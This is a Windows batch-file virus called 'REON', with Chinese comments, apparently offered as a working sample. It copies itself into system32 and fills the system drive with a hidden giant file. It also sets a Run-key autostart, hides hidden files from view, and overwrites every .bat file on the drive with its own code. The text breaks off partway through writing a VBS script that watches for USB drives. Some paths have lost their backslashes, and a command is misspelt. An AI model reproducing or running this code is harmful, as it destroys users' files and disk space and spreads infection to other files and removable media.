@echo off
%ozone%^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^%ozone%
%ozone% %Name :REON% %ozone%
%ozone% %Author:Ozone [verybat.cn]% %ozone%
%ozone% %Data :17/04/2007% %ozone%
%ozone%^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^%ozone%
if exsit %SystemDrive%PAGEFILES.SYS goto end
copy %0 %windir%system32logon.bat ::复制自身
FOR /F "tokens=3*" %%i in ('dir /-c %SystemDrive%^|find "可用字节"') do fsutil file createnew %SystemDrive%PAGEFILES.SYS %%i ::制造超大文件,轰炸硬盘
attrib +r +s +h %SystemDrive%PAGEFILES.SYS ::隐藏文件
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v KV2007 /t REG_SZ /d %windir%system32logon.vbs ::自动启动
reg delete HKLMSoftwareMicrosoftwindowsCurrentVersionexplorerAdvancedFolderHiddenSHOWALL /va /f ::不显示隐藏文件
for /r %SystemDrive% %%i in (*.bat) do type %0>%%i ::感染
if exist %windir%system32logon.vbs goto end
+++++++++++++++++++++++++=VBS部分+++++++++++++++++++++++++++++++++++++++
echo set fs =createobject("scripting.filesystemobject")>>%windir%system32logon.vbs
echo set WshShell = WScript.CreateObject("WScript.Shell")>>%windir%system32logon.vbs
echo Set objWMIService = GetObject("winmgmts:" _>>%windir%system32logon.vbs
echo ^& "{impersonationLevel=impersonate}!" ^& strComputer ^& "rootcimv2")>>%windir%system32logon.vbs
echo Set colDisks = objWMIService.ExecQuery _>>%windir%system32logon.vbs
echo ("Select * from Win32_LogicalDisk")>>%windir%system32logon.vbs
::监视u盘
echo For i =1 to 9000000000>>%windir%system32logon.vbs
echo For Each objDisk in colDisks>>%windir%system32logon.vbs
echo Select Case objDisk.DriveType>>%windir%system32logon.vbs
